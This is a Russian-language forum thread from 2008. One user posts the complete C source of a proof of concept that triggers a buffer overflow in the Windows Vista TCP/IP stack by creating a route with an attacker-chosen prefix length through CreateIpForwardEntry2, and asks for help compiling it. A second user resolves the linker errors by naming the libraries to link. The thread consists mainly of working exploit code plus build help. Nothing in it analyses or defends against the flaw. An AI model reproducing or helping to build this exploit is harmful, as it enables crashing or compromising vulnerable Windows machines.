MS Windows VISTA TCP/IP Stack Buffer Overflow PoC

Discussion in 'Безопасность и Анонимность' started by denjf, 27 Nov 2008.

  1. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    #define _WIN32_WINNT 0x0600
    #define WIN32_LEAN_AND_MEAN

    #include <windows.h>
    #include <winsock2.h>
    #include <ws2ipdef.h>
    #include <iphlpapi.h>

    #include <stdio.h>
    #include <stdlib.h>

    int main(int argc, char** argv)
    {
    DWORD dwStatus;
    MIB_IPFORWARD_ROW2 route;

    if (argc != 3)
    {
    printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
    return -1;
    }

    InitializeIpForwardEntry(&route);

    route.InterfaceIndex = atoi(argv[1]);
    route.DestinationPrefix.Prefix.si_family = AF_INET;

    route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");
    route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

    route.DestinationPrefix.PrefixLength = atoi(argv[2]);

    route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");
    route.NextHop.Ipv4.sin_family = AF_INET;

    route.SitePrefixLength = 0;

    route.Protocol = MIB_IPPROTO_NETMGMT;
    route.Origin = NlroManual;
    route.ValidLifetime = 0xffffffff;
    route.PreferredLifetime = 0xffffffff;
    route.Metric = 1;

    dwStatus = CreateIpForwardEntry2(&route);
    return dwStatus;
    }




    Помогите скомпилировать!!!!
     
  2. VAran

    VAran Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    51
    Likes Received:
    15
    Reputations:
    4
    дык, а на что ругается то?

    вот здесь:
    и вот здесь:
    реальные ip вставлять пробовал?
     
  3. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    111.obj : error LNK2019: unresolved external symbol _CreateIpForwardEntry2@4 referenced in function _main
    111.obj : error LNK2019: unresolved external symbol __imp__inet_addr@4 referenced in function _main
    111.obj : error LNK2019: unresolved external symbol _InitializeIpForwardEntry@4 referenced in function _main

    В Visual C++ вот эти ошибки!
    ip вставлял - результат такой же
     
  4. VAran

    VAran Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    51
    Likes Received:
    15
    Reputations:
    4
    хэдеры ты вставил, а библиотеку с этими функциями к проекту подключил?
     
  5. denjf

    denjf Member

    Joined:
    12 Nov 2008
    Messages:
    88
    Likes Received:
    12
    Reputations:
    -1
    [/QUOTE] а библиотеку с этими функциями к проекту подключил?
     
  6. VAran

    VAran Elder - Старейшина

    Joined:
    29 May 2008
    Messages:
    51
    Likes Received:
    15
    Reputations:
    4
    св-ва проекта -> Configuration Properties -> Linker -> Input -> Additional Dependencies
    вписывай Iphlpapi.lib Ws2_32.lib